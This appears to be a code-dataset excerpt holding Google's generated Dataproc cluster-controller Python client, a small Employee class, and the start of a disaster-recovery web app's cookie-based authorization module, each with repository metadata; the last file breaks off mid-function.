metadata=None, ): """ Creates a cluster in a project. Example: >>> from google.cloud import dataproc_v1beta2 >>> >>> client = dataproc_v1beta2.ClusterControllerClient() >>> >>> # TODO: Initialize `project_id`: >>> project_id = '' >>> >>> # TODO: Initialize `region`: >>> region = '' >>> >>> # TODO: Initialize `cluster`: >>> cluster = {} >>> >>> response = client.create_cluster(project_id, region, cluster) >>> >>> def callback(operation_future): ... # Handle result. ... result = operation_future.result() >>> >>> response.add_done_callback(callback) >>> >>> # Handle metadata. >>> metadata = response.metadata() Args: project_id (str): Required. The ID of the Google Cloud Platform project that the cluster belongs to. region (str): Required. The Cloud Dataproc region in which to handle the request. cluster (Union[dict, ~google.cloud.dataproc_v1beta2.types.Cluster]): Required. The cluster to create. If a dict is provided, it must be of the same form as the protobuf message :class:`~google.cloud.dataproc_v1beta2.types.Cluster` request_id (str): Optional. A unique id used to identify the request. If the server receives two ``CreateClusterRequest`` requests with the same id, then the second request will be ignored and the first ``google.longrunning.Operation`` created and stored in the backend is returned. It is recommended to always set this value to a `UUID <https://en.wikipedia.org/wiki/Universally_unique_identifier>`__. The id must contain only letters (a-z, A-Z), numbers (0-9), underscores (\_), and hyphens (-). The maximum length is 40 characters. retry (Optional[google.api_core.retry.Retry]): A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. timeout (Optional[float]): The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata that is provided to the method. Returns: A :class:`~google.cloud.dataproc_v1beta2.types._OperationFuture` instance. Raises: google.api_core.exceptions.GoogleAPICallError: If the request failed for any reason. google.api_core.exceptions.RetryError: If the request failed due to a retryable error and retry attempts failed. ValueError: If the parameters are invalid. """ # Wrap the transport method to add retry and timeout logic. if "create_cluster" not in self._inner_api_calls: self._inner_api_calls[ "create_cluster" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.create_cluster, default_retry=self._method_configs["CreateCluster"].retry, default_timeout=self._method_configs["CreateCluster"].timeout, client_info=self._client_info, ) request = clusters_pb2.CreateClusterRequest( project_id=project_id, region=region, cluster=cluster, request_id=request_id ) operation = self._inner_api_calls["create_cluster"]( request, retry=retry, timeout=timeout, metadata=metadata ) return google.api_core.operation.from_gapic( operation, self.transport._operations_client, clusters_pb2.Cluster, metadata_type=proto_operations_pb2.ClusterOperationMetadata, ) def update_cluster( self, project_id, region, cluster_name, cluster, update_mask, graceful_decommission_timeout=None, request_id=None, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, metadata=None, ): """ Updates a cluster in a project. Example: >>> from google.cloud import dataproc_v1beta2 >>> >>> client = dataproc_v1beta2.ClusterControllerClient() >>> >>> # TODO: Initialize `project_id`: >>> project_id = '' >>> >>> # TODO: Initialize `region`: >>> region = '' >>> >>> # TODO: Initialize `cluster_name`: >>> cluster_name = '' >>> >>> # TODO: Initialize `cluster`: >>> cluster = {} >>> >>> # TODO: Initialize `update_mask`: >>> update_mask = {} >>> >>> response = client.update_cluster(project_id, region, cluster_name, cluster, update_mask) >>> >>> def callback(operation_future): ... # Handle result. ... result = operation_future.result() >>> >>> response.add_done_callback(callback) >>> >>> # Handle metadata. >>> metadata = response.metadata() Args: project_id (str): Required. The ID of the Google Cloud Platform project the cluster belongs to. region (str): Required. The Cloud Dataproc region in which to handle the request. cluster_name (str): Required. The cluster name. cluster (Union[dict, ~google.cloud.dataproc_v1beta2.types.Cluster]): Required. The changes to the cluster. If a dict is provided, it must be of the same form as the protobuf message :class:`~google.cloud.dataproc_v1beta2.types.Cluster` update_mask (Union[dict, ~google.cloud.dataproc_v1beta2.types.FieldMask]): Required. Specifies the path, relative to ``Cluster``, of the field to update. For example, to change the number of workers in a cluster to 5, the ``update_mask`` parameter would be specified as ``config.worker_config.num_instances``, and the ``PATCH`` request body would specify the new value, as follows: :: { "config":{ "workerConfig":{ "numInstances":"5" } } } Similarly, to change the number of preemptible workers in a cluster to 5, the ``update_mask`` parameter would be ``config.secondary_worker_config.num_instances``, and the ``PATCH`` request body would be set as follows: :: { "config":{ "secondaryWorkerConfig":{ "numInstances":"5" } } } Note: currently only the following fields can be updated: .. raw:: html <table> <tr> <td>Mask</td><td>Purpose</td> </tr> <tr> <td>labels</td><td>Updates labels</td> </tr> <tr> <td>config.worker_config.num_instances</td><td>Resize primary worker group</td> </tr> <tr> <td>config.secondary_worker_config.num_instances</td><td>Resize secondary worker group</td> </tr> <tr> <td>config.lifecycle_config.auto_delete_ttl</td><td>Reset MAX TTL duration</td> </tr> <tr> <td>config.lifecycle_config.auto_delete_time</td><td>Update MAX TTL deletion timestamp</td> </tr> <tr> <td>config.lifecycle_config.idle_delete_ttl</td><td>Update Idle TTL duration</td> </tr> <tr> <td>config.autoscaling_config.policy_uri</td><td>Use, stop using, or change autoscaling policies</td> </tr> </table> If a dict is provided, it must be of the same form as the protobuf message :class:`~google.cloud.dataproc_v1beta2.types.FieldMask` graceful_decommission_timeout (Union[dict, ~google.cloud.dataproc_v1beta2.types.Duration]): Optional. Timeout for graceful YARN decomissioning. Graceful decommissioning allows removing nodes from the cluster without interrupting jobs in progress. Timeout specifies how long to wait for jobs in progress to finish before forcefully removing nodes (and potentially interrupting jobs). Default timeout is 0 (for forceful decommission), and the maximum allowed timeout is 1 day. Only supported on Dataproc image versions 1.2 and higher. If a dict is provided, it must be of the same form as the protobuf message :class:`~google.cloud.dataproc_v1beta2.types.Duration` request_id (str): Optional. A unique id used to identify the request. If the server receives two ``UpdateClusterRequest`` requests with the same id, then the second request will be ignored and the first ``google.longrunning.Operation`` created and stored in the backend is returned. It is recommended to always set this value to a `UUID <https://en.wikipedia.org/wiki/Universally_unique_identifier>`__. The id must contain only letters (a-z, A-Z), numbers (0-9), underscores (\_), and hyphens (-). The maximum length is 40 characters. retry (Optional[google.api_core.retry.Retry]): A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. timeout (Optional[float]): The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata that is provided to the method. Returns: A :class:`~google.cloud.dataproc_v1beta2.types._OperationFuture` instance. Raises: google.api_core.exceptions.GoogleAPICallError: If the request failed for any reason. google.api_core.exceptions.RetryError: If the request failed due to a retryable error and retry attempts failed. ValueError: If the parameters are invalid. """ # Wrap the transport method to add retry and timeout logic. if "update_cluster" not in self._inner_api_calls: self._inner_api_calls[ "update_cluster" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.update_cluster, default_retry=self._method_configs["UpdateCluster"].retry, default_timeout=self._method_configs["UpdateCluster"].timeout, client_info=self._client_info, ) request = clusters_pb2.UpdateClusterRequest( project_id=project_id, region=region, cluster_name=cluster_name, cluster=cluster, update_mask=update_mask, graceful_decommission_timeout=graceful_decommission_timeout, request_id=request_id, ) operation = self._inner_api_calls["update_cluster"]( request, retry=retry, timeout=timeout, metadata=metadata ) return google.api_core.operation.from_gapic( operation, self.transport._operations_client, clusters_pb2.Cluster, metadata_type=proto_operations_pb2.ClusterOperationMetadata, ) def delete_cluster( self, project_id, region, cluster_name, cluster_uuid=None, request_id=None, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, metadata=None, ): """ Deletes a cluster in a project. Example: >>> from google.cloud import dataproc_v1beta2 >>> >>> client = dataproc_v1beta2.ClusterControllerClient() >>> >>> # TODO: Initialize `project_id`: >>> project_id = '' >>> >>> # TODO: Initialize `region`: >>> region = '' >>> >>> # TODO: Initialize `cluster_name`: >>> cluster_name = '' >>> >>> response = client.delete_cluster(project_id, region, cluster_name) >>> >>> def callback(operation_future): ... # Handle result. ... result = operation_future.result() >>> >>> response.add_done_callback(callback) >>> >>> # Handle metadata. >>> metadata = response.metadata() Args: project_id (str): Required. The ID of the Google Cloud Platform project that the cluster belongs to. region (str): Required. The Cloud Dataproc region in which to handle the request. cluster_name (str): Required. The cluster name. cluster_uuid (str): Optional. Specifying the ``cluster_uuid`` means the RPC should fail (with error NOT\_FOUND) if cluster with specified UUID does not exist. request_id (str): Optional. A unique id used to identify the request. If the server receives two ``DeleteClusterRequest`` requests with the same id, then the second request will be ignored and the first ``google.longrunning.Operation`` created and stored in the backend is returned. It is recommended to always set this value to a `UUID <https://en.wikipedia.org/wiki/Universally_unique_identifier>`__. The id must contain only letters (a-z, A-Z), numbers (0-9), underscores (\_), and hyphens (-). The maximum length is 40 characters. retry (Optional[google.api_core.retry.Retry]): A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. timeout (Optional[float]): The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata that is provided to the method. Returns: A :class:`~google.cloud.dataproc_v1beta2.types._OperationFuture` instance. Raises: google.api_core.exceptions.GoogleAPICallError: If the request failed for any reason. google.api_core.exceptions.RetryError: If the request failed due to a retryable error and retry attempts failed. ValueError: If the parameters are invalid. """ # Wrap the transport method to add retry and timeout logic. if "delete_cluster" not in self._inner_api_calls: self._inner_api_calls[ "delete_cluster" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.delete_cluster, default_retry=self._method_configs["DeleteCluster"].retry, default_timeout=self._method_configs["DeleteCluster"].timeout, client_info=self._client_info, ) request = clusters_pb2.DeleteClusterRequest( project_id=project_id, region=region, cluster_name=cluster_name, cluster_uuid=cluster_uuid, request_id=request_id, ) operation = self._inner_api_calls["delete_cluster"]( request, retry=retry, timeout=timeout, metadata=metadata ) return google.api_core.operation.from_gapic( operation, self.transport._operations_client, empty_pb2.Empty, metadata_type=proto_operations_pb2.ClusterOperationMetadata, ) def get_cluster( self, project_id, region, cluster_name, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, metadata=None, ): """ Gets the resource representation for a cluster in a project. Example: >>> from google.cloud import dataproc_v1beta2 >>> >>> client = dataproc_v1beta2.ClusterControllerClient() >>> >>> # TODO: Initialize `project_id`: >>> project_id = '' >>> >>> # TODO: Initialize `region`: >>> region = '' >>> >>> # TODO: Initialize `cluster_name`: >>> cluster_name = '' >>> >>> response = client.get_cluster(project_id, region, cluster_name) Args: project_id (str): Required. The ID of the Google Cloud Platform project that the cluster belongs to. region (str): Required. The Cloud Dataproc region in which to handle the request. cluster_name (str): Required. The cluster name. retry (Optional[google.api_core.retry.Retry]): A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. timeout (Optional[float]): The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata that is provided to the method. Returns: A :class:`~google.cloud.dataproc_v1beta2.types.Cluster` instance. Raises: google.api_core.exceptions.GoogleAPICallError: If the request failed for any reason. google.api_core.exceptions.RetryError: If the request failed due to a retryable error and retry attempts failed. ValueError: If the parameters are invalid. """ # Wrap the transport method to add retry and timeout logic. if "get_cluster" not in self._inner_api_calls: self._inner_api_calls[ "get_cluster" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.get_cluster, default_retry=self._method_configs["GetCluster"].retry, default_timeout=self._method_configs["GetCluster"].timeout, client_info=self._client_info, ) request = clusters_pb2.GetClusterRequest( project_id=project_id, region=region, cluster_name=cluster_name ) return self._inner_api_calls["get_cluster"]( request, retry=retry, timeout=timeout, metadata=metadata ) def list_clusters( self, project_id, region, filter_=None, page_size=None, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, metadata=None, ): """ Lists all regions/{region}/clusters in a project. Example: >>> from google.cloud import dataproc_v1beta2 >>> >>> client = dataproc_v1beta2.ClusterControllerClient() >>> >>> # TODO: Initialize `project_id`: >>> project_id = '' >>> >>> # TODO: Initialize `region`: >>> region = '' >>> >>> # Iterate over all results >>> for element in client.list_clusters(project_id, region): ... # process element ... pass >>> >>> >>> # Alternatively: >>> >>> # Iterate over results one page at a time >>> for page in client.list_clusters(project_id, region).pages: ... for element in page: ... # process element ... pass Args: project_id (str): Required. The ID of the Google Cloud Platform project that the cluster belongs to. region (str): Required. The Cloud Dataproc region in which to handle the request. filter_ (str): Optional. A filter constraining the clusters to list. Filters are case-sensitive and have the following syntax: field = value [AND [field = value]] ... where **field** is one of ``status.state``, ``clusterName``, or ``labels.[KEY]``, and ``[KEY]`` is a label key. **value** can be ``*`` to match all values. ``status.state`` can be one of the following: ``ACTIVE``, ``INACTIVE``, ``CREATING``, ``RUNNING``, ``ERROR``, ``DELETING``, or ``UPDATING``. ``ACTIVE`` contains the ``CREATING``, ``UPDATING``, and ``RUNNING`` states. ``INACTIVE`` contains the ``DELETING`` and ``ERROR`` states. ``clusterName`` is the name of the cluster provided at creation time. Only the logical ``AND`` operator is supported; space-separated items are treated as having an implicit ``AND`` operator. Example filter: status.state = ACTIVE AND clusterName = mycluster AND labels.env = staging AND labels.starred = \* page_size (int): The maximum number of resources contained in the underlying API response. If page streaming is performed per- resource, this parameter does not affect the return value. If page streaming is performed per-page, this determines the maximum number of resources in a page. retry (Optional[google.api_core.retry.Retry]): A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. timeout (Optional[float]): The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata that is provided to the method. Returns: A :class:`~google.api_core.page_iterator.PageIterator` instance. An iterable of :class:`~google.cloud.dataproc_v1beta2.types.Cluster` instances. You can also iterate over the pages of the response using its `pages` property. Raises: google.api_core.exceptions.GoogleAPICallError: If the request failed for any reason. google.api_core.exceptions.RetryError: If the request failed due to a retryable error and retry attempts failed. ValueError: If the parameters are invalid. """ # Wrap the transport method to add retry and timeout logic. if "list_clusters" not in self._inner_api_calls: self._inner_api_calls[ "list_clusters" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.list_clusters, default_retry=self._method_configs["ListClusters"].retry, default_timeout=self._method_configs["ListClusters"].timeout, client_info=self._client_info, ) request = clusters_pb2.ListClustersRequest( project_id=project_id, region=region, filter=filter_, page_size=page_size ) iterator = google.api_core.page_iterator.GRPCIterator( client=None, method=functools.partial( self._inner_api_calls["list_clusters"], retry=retry, timeout=timeout, metadata=metadata, ), request=request, items_field="clusters", request_token_field="page_token", response_token_field="next_page_token", ) return iterator def diagnose_cluster( self, project_id, region, cluster_name, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, metadata=None, ): """ Gets cluster diagnostic information. After the operation completes, the Operation.response field contains ``DiagnoseClusterOutputLocation``. Example: >>> from google.cloud import dataproc_v1beta2 >>> >>> client = dataproc_v1beta2.ClusterControllerClient() >>> >>> # TODO: Initialize `project_id`: >>> project_id = '' >>> >>> # TODO: Initialize `region`: >>> region = '' >>> >>> # TODO: Initialize `cluster_name`: >>> cluster_name = '' >>> >>> response = client.diagnose_cluster(project_id, region, cluster_name) >>> >>> def callback(operation_future): ... # Handle result. ... result = operation_future.result() >>> >>> response.add_done_callback(callback) >>> >>> # Handle metadata. >>> metadata = response.metadata() Args: project_id (str): Required. The ID of the Google Cloud Platform project that the cluster belongs to. region (str): Required. The Cloud Dataproc region in which to handle the request. cluster_name (str): Required. The cluster name. retry (Optional[google.api_core.retry.Retry]): A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. timeout (Optional[float]): The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. metadata (Optional[Sequence[Tuple[str, str]]]): Additional metadata that is provided to the method. Returns: A :class:`~google.cloud.dataproc_v1beta2.types._OperationFuture` instance. Raises: google.api_core.exceptions.GoogleAPICallError: If the request failed for any reason. google.api_core.exceptions.RetryError: If the request failed due to a retryable error and retry attempts failed. ValueError: If the parameters are invalid. """ # Wrap the transport method to add retry and timeout logic. if "diagnose_cluster" not in self._inner_api_calls: self._inner_api_calls[ "diagnose_cluster" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.diagnose_cluster, default_retry=self._method_configs["DiagnoseCluster"].retry, default_timeout=self._method_configs["DiagnoseCluster"].timeout, client_info=self._client_info, ) request = clusters_pb2.DiagnoseClusterRequest( project_id=project_id, region=region, cluster_name=cluster_name ) operation = self._inner_api_calls["diagnose_cluster"]( request, retry=retry, timeout=timeout, metadata=metadata ) return google.api_core.operation.from_gapic( operation, self.transport._operations_client, empty_pb2.Empty, metadata_type=clusters_pb2.DiagnoseClusterResults, )

43.329897

164

0.588601

import functools import pkg_resources import warnings from google.oauth2 import service_account import google.api_core.client_options import google.api_core.gapic_v1.client_info import google.api_core.gapic_v1.config import google.api_core.gapic_v1.method import google.api_core.grpc_helpers import google.api_core.operation import google.api_core.operations_v1 import google.api_core.page_iterator import grpc from google.cloud.dataproc_v1beta2.gapic import cluster_controller_client_config from google.cloud.dataproc_v1beta2.gapic import enums from google.cloud.dataproc_v1beta2.gapic.transports import ( cluster_controller_grpc_transport, ) from google.cloud.dataproc_v1beta2.proto import autoscaling_policies_pb2 from google.cloud.dataproc_v1beta2.proto import autoscaling_policies_pb2_grpc from google.cloud.dataproc_v1beta2.proto import clusters_pb2 from google.cloud.dataproc_v1beta2.proto import clusters_pb2_grpc from google.cloud.dataproc_v1beta2.proto import operations_pb2 as proto_operations_pb2 from google.longrunning import operations_pb2 as longrunning_operations_pb2 from google.protobuf import duration_pb2 from google.protobuf import empty_pb2 from google.protobuf import field_mask_pb2 _GAPIC_LIBRARY_VERSION = pkg_resources.get_distribution("google-cloud-dataproc").version class ClusterControllerClient(object): SERVICE_ADDRESS = "dataproc.googleapis.com:443" _INTERFACE_NAME = "google.cloud.dataproc.v1beta2.ClusterController" @classmethod def from_service_account_file(cls, filename, *args, **kwargs): credentials = service_account.Credentials.from_service_account_file(filename) kwargs["credentials"] = credentials return cls(*args, **kwargs) from_service_account_json = from_service_account_file def __init__( self, transport=None, channel=None, credentials=None, client_config=None, client_info=None, client_options=None, ): if client_config is not None: warnings.warn( "The `client_config` argument is deprecated.", PendingDeprecationWarning, stacklevel=2, ) else: client_config = cluster_controller_client_config.config if channel: warnings.warn( "The `channel` argument is deprecated; use " "`transport` instead.", PendingDeprecationWarning, stacklevel=2, ) api_endpoint = self.SERVICE_ADDRESS if client_options: if type(client_options) == dict: client_options = google.api_core.client_options.from_dict( client_options ) if client_options.api_endpoint: api_endpoint = client_options.api_endpoint if transport: if callable(transport): self.transport = transport( credentials=credentials, default_class=cluster_controller_grpc_transport.ClusterControllerGrpcTransport, address=api_endpoint, ) else: if credentials: raise ValueError( "Received both a transport instance and " "credentials; these are mutually exclusive." ) self.transport = transport else: self.transport = cluster_controller_grpc_transport.ClusterControllerGrpcTransport( address=api_endpoint, channel=channel, credentials=credentials ) if client_info is None: client_info = google.api_core.gapic_v1.client_info.ClientInfo( gapic_version=_GAPIC_LIBRARY_VERSION ) else: client_info.gapic_version = _GAPIC_LIBRARY_VERSION self._client_info = client_info self._method_configs = google.api_core.gapic_v1.config.parse_method_configs( client_config["interfaces"][self._INTERFACE_NAME] ) self._inner_api_calls = {} def create_cluster( self, project_id, region, cluster, request_id=None, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, metadata=None, ): if "create_cluster" not in self._inner_api_calls: self._inner_api_calls[ "create_cluster" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.create_cluster, default_retry=self._method_configs["CreateCluster"].retry, default_timeout=self._method_configs["CreateCluster"].timeout, client_info=self._client_info, ) request = clusters_pb2.CreateClusterRequest( project_id=project_id, region=region, cluster=cluster, request_id=request_id ) operation = self._inner_api_calls["create_cluster"]( request, retry=retry, timeout=timeout, metadata=metadata ) return google.api_core.operation.from_gapic( operation, self.transport._operations_client, clusters_pb2.Cluster, metadata_type=proto_operations_pb2.ClusterOperationMetadata, ) def update_cluster( self, project_id, region, cluster_name, cluster, update_mask, graceful_decommission_timeout=None, request_id=None, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, metadata=None, ): if "update_cluster" not in self._inner_api_calls: self._inner_api_calls[ "update_cluster" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.update_cluster, default_retry=self._method_configs["UpdateCluster"].retry, default_timeout=self._method_configs["UpdateCluster"].timeout, client_info=self._client_info, ) request = clusters_pb2.UpdateClusterRequest( project_id=project_id, region=region, cluster_name=cluster_name, cluster=cluster, update_mask=update_mask, graceful_decommission_timeout=graceful_decommission_timeout, request_id=request_id, ) operation = self._inner_api_calls["update_cluster"]( request, retry=retry, timeout=timeout, metadata=metadata ) return google.api_core.operation.from_gapic( operation, self.transport._operations_client, clusters_pb2.Cluster, metadata_type=proto_operations_pb2.ClusterOperationMetadata, ) def delete_cluster( self, project_id, region, cluster_name, cluster_uuid=None, request_id=None, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, metadata=None, ): if "delete_cluster" not in self._inner_api_calls: self._inner_api_calls[ "delete_cluster" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.delete_cluster, default_retry=self._method_configs["DeleteCluster"].retry, default_timeout=self._method_configs["DeleteCluster"].timeout, client_info=self._client_info, ) request = clusters_pb2.DeleteClusterRequest( project_id=project_id, region=region, cluster_name=cluster_name, cluster_uuid=cluster_uuid, request_id=request_id, ) operation = self._inner_api_calls["delete_cluster"]( request, retry=retry, timeout=timeout, metadata=metadata ) return google.api_core.operation.from_gapic( operation, self.transport._operations_client, empty_pb2.Empty, metadata_type=proto_operations_pb2.ClusterOperationMetadata, ) def get_cluster( self, project_id, region, cluster_name, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, metadata=None, ): if "get_cluster" not in self._inner_api_calls: self._inner_api_calls[ "get_cluster" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.get_cluster, default_retry=self._method_configs["GetCluster"].retry, default_timeout=self._method_configs["GetCluster"].timeout, client_info=self._client_info, ) request = clusters_pb2.GetClusterRequest( project_id=project_id, region=region, cluster_name=cluster_name ) return self._inner_api_calls["get_cluster"]( request, retry=retry, timeout=timeout, metadata=metadata ) def list_clusters( self, project_id, region, filter_=None, page_size=None, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, metadata=None, ): if "list_clusters" not in self._inner_api_calls: self._inner_api_calls[ "list_clusters" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.list_clusters, default_retry=self._method_configs["ListClusters"].retry, default_timeout=self._method_configs["ListClusters"].timeout, client_info=self._client_info, ) request = clusters_pb2.ListClustersRequest( project_id=project_id, region=region, filter=filter_, page_size=page_size ) iterator = google.api_core.page_iterator.GRPCIterator( client=None, method=functools.partial( self._inner_api_calls["list_clusters"], retry=retry, timeout=timeout, metadata=metadata, ), request=request, items_field="clusters", request_token_field="page_token", response_token_field="next_page_token", ) return iterator def diagnose_cluster( self, project_id, region, cluster_name, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, metadata=None, ): if "diagnose_cluster" not in self._inner_api_calls: self._inner_api_calls[ "diagnose_cluster" ] = google.api_core.gapic_v1.method.wrap_method( self.transport.diagnose_cluster, default_retry=self._method_configs["DiagnoseCluster"].retry, default_timeout=self._method_configs["DiagnoseCluster"].timeout, client_info=self._client_info, ) request = clusters_pb2.DiagnoseClusterRequest( project_id=project_id, region=region, cluster_name=cluster_name ) operation = self._inner_api_calls["diagnose_cluster"]( request, retry=retry, timeout=timeout, metadata=metadata ) return google.api_core.operation.from_gapic( operation, self.transport._operations_client, empty_pb2.Empty, metadata_type=clusters_pb2.DiagnoseClusterResults, )

true

1c4229d82360abfecb0c9b9eeb6d19c89a7b1ea2

468

py

Python

touchpoint/employee.py

zappospizza/touchpoint-python

19572c0c1360408dd980ed95e852046dcdba3623

[ "MIT" ]

null

touchpoint/employee.py

zappospizza/touchpoint-python

19572c0c1360408dd980ed95e852046dcdba3623

[ "MIT" ]

null

touchpoint/employee.py

zappospizza/touchpoint-python

19572c0c1360408dd980ed95e852046dcdba3623

[ "MIT" ]

null

# touchpoint/employee.py class Employee(): def __init__(self, employee_id, first_name=None, last_name=None, emp_id=None): self.employee_id = employee_id self.first_name = first_name self.last_name = last_name self.emp_id = emp_id def info(self): return {'employee_id': self.employee_id, 'emp_id': self.emp_id, 'first_name': self.first_name, 'last_name': self.last_name}

31.2

82

0.617521

class Employee(): def __init__(self, employee_id, first_name=None, last_name=None, emp_id=None): self.employee_id = employee_id self.first_name = first_name self.last_name = last_name self.emp_id = emp_id def info(self): return {'employee_id': self.employee_id, 'emp_id': self.emp_id, 'first_name': self.first_name, 'last_name': self.last_name}

true

1c422bf19b2171922a496659c3a4345cf5fbb0b3

4,397

py

Python

sandy-disaster-recovery/key.py

toddjcrane/crisiscleanup-legacy

74dbad143ebc3bfae4cc5afc478e43ab4033ff69

[ "Apache-2.0" ]

1

2017-01-07T21:44:21.000Z

sandy-disaster-recovery/key.py

aarontitus/crisiscleanup-legacy

74dbad143ebc3bfae4cc5afc478e43ab4033ff69

[ "Apache-2.0" ]

1

2021-03-26T00:25:19.000Z

sandy-disaster-recovery/key.py

toddjcrane/crisiscleanup-legacy

74dbad143ebc3bfae4cc5afc478e43ab4033ff69

[ "Apache-2.0" ]

1

2017-09-07T09:52:15.000Z

#!/usr/bin/env python # # Copyright 2012 Jeremy Pack # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from google.appengine.ext import db import Cookie import datetime import hashlib import organization from google.appengine.api import memcache import cache import event_db class Key(db.Model): secret_key = db.StringProperty(required = True) date = db.DateTimeProperty(required = True, auto_now_add = True) def hashOrganization(self, org): h = hashlib.md5() h.update(self.secret_key) h.update(org.name) h.update(org.password) h.update(str(self.key().id())) return h.hexdigest() def getCookie(self, org, event): cookie = Cookie.SimpleCookie("") cookie["sandy-recovery-auth"] = ( ":".join([self.hashOrganization(org), str(self.key().id()), str(org.key().id()), str(event.key().id())])) cookie["sandy-recovery-auth"]["domain"] = "" if not org.only_session_authentication: expires = datetime.datetime.now() + datetime.timedelta(days = 1) cookie["sandy-recovery-auth"]["expires"] = ( expires.strftime('%a, %d %b %Y %H:%M:%S')) return str(cookie) one_week_in_seconds = 604800 def GetCached(key_id): return cache.GetCachedById(Key, one_week_in_seconds, key_id) def GetAndCache(key_id): return cache.GetAndCache(Key, one_week_in_seconds, key_id) def GetDeleteCookie(): cookie = Cookie.SimpleCookie("") cookie["sandy-recovery-auth"] = "" cookie["sandy-recovery-auth"]["domain"] = "" expires = datetime.datetime.now() - datetime.timedelta(days = 7) cookie["sandy-recovery-auth"]["expires"] = ( expires.strftime('%a, %d %b %Y %H:%M:%S')) return str(cookie) def getIntOrNone(s): try: return int(s) except ValueError: return None def CheckAuthorization(request): if "Cookie" in request.headers.keys(): cookie = Cookie.SimpleCookie(request.headers["Cookie"]) if "sandy-recovery-auth" in cookie.keys(): contents = cookie["sandy-recovery-auth"].value if contents: parts = contents.split(":") if len(parts) == 4: event_id = getIntOrNone(parts[3]) org_id = getIntOrNone(parts[2]) key_id = getIntOrNone(parts[1]) if org_id and key_id and event_id: org_key = cache.GetKey(organization.Organization, org_id) key_key = cache.GetKey(Key, key_id) event_key = cache.GetKey(event_db.Event, event_id) ##org = cache.local_cache.Get(org_key) org = None # hacked out to force lookup key = cache.local_cache.Get(key_key) event = cache.local_cache.Get(event_key) if not event or not key or not org: results = memcache.get_multi([org_key, key_key, event_key]) ##org = results.get(org_key) org = None # hacked out to force lookup key = results.get(key_key) event = results.get(event_key) cache.local_cache.Set(org_key, org, 600) cache.local_cache.Set(key_key, key, 600) cache.local_cache.Set(event_key, event, 600) if not org: org = organization.GetAndCache(org_id) if not key: key = GetAndCache(key_id) if not event: event = event_db.GetAndCache(event_id) # Check the age of the key, and delete it # if it is too old. if key: age = datetime.datetime.now() - key.date if age.days > 14: key.delete() key = None # check the secret org hash and event access if org and key and event: secret_matches = (parts[0] == key.hashOrganization(org)) if secret_matches and org.may_access(event): return org, event return None, None

35.176

74

0.626791

from google.appengine.ext import db import Cookie import datetime import hashlib import organization from google.appengine.api import memcache import cache import event_db class Key(db.Model): secret_key = db.StringProperty(required = True) date = db.DateTimeProperty(required = True, auto_now_add = True) def hashOrganization(self, org): h = hashlib.md5() h.update(self.secret_key) h.update(org.name) h.update(org.password) h.update(str(self.key().id())) return h.hexdigest() def getCookie(self, org, event): cookie = Cookie.SimpleCookie("") cookie["sandy-recovery-auth"] = ( ":".join([self.hashOrganization(org), str(self.key().id()), str(org.key().id()), str(event.key().id())])) cookie["sandy-recovery-auth"]["domain"] = "" if not org.only_session_authentication: expires = datetime.datetime.now() + datetime.timedelta(days = 1) cookie["sandy-recovery-auth"]["expires"] = ( expires.strftime('%a, %d %b %Y %H:%M:%S')) return str(cookie) one_week_in_seconds = 604800 def GetCached(key_id): return cache.GetCachedById(Key, one_week_in_seconds, key_id) def GetAndCache(key_id): return cache.GetAndCache(Key, one_week_in_seconds, key_id) def GetDeleteCookie(): cookie = Cookie.SimpleCookie("") cookie["sandy-recovery-auth"] = "" cookie["sandy-recovery-auth"]["domain"] = "" expires = datetime.datetime.now() - datetime.timedelta(days = 7) 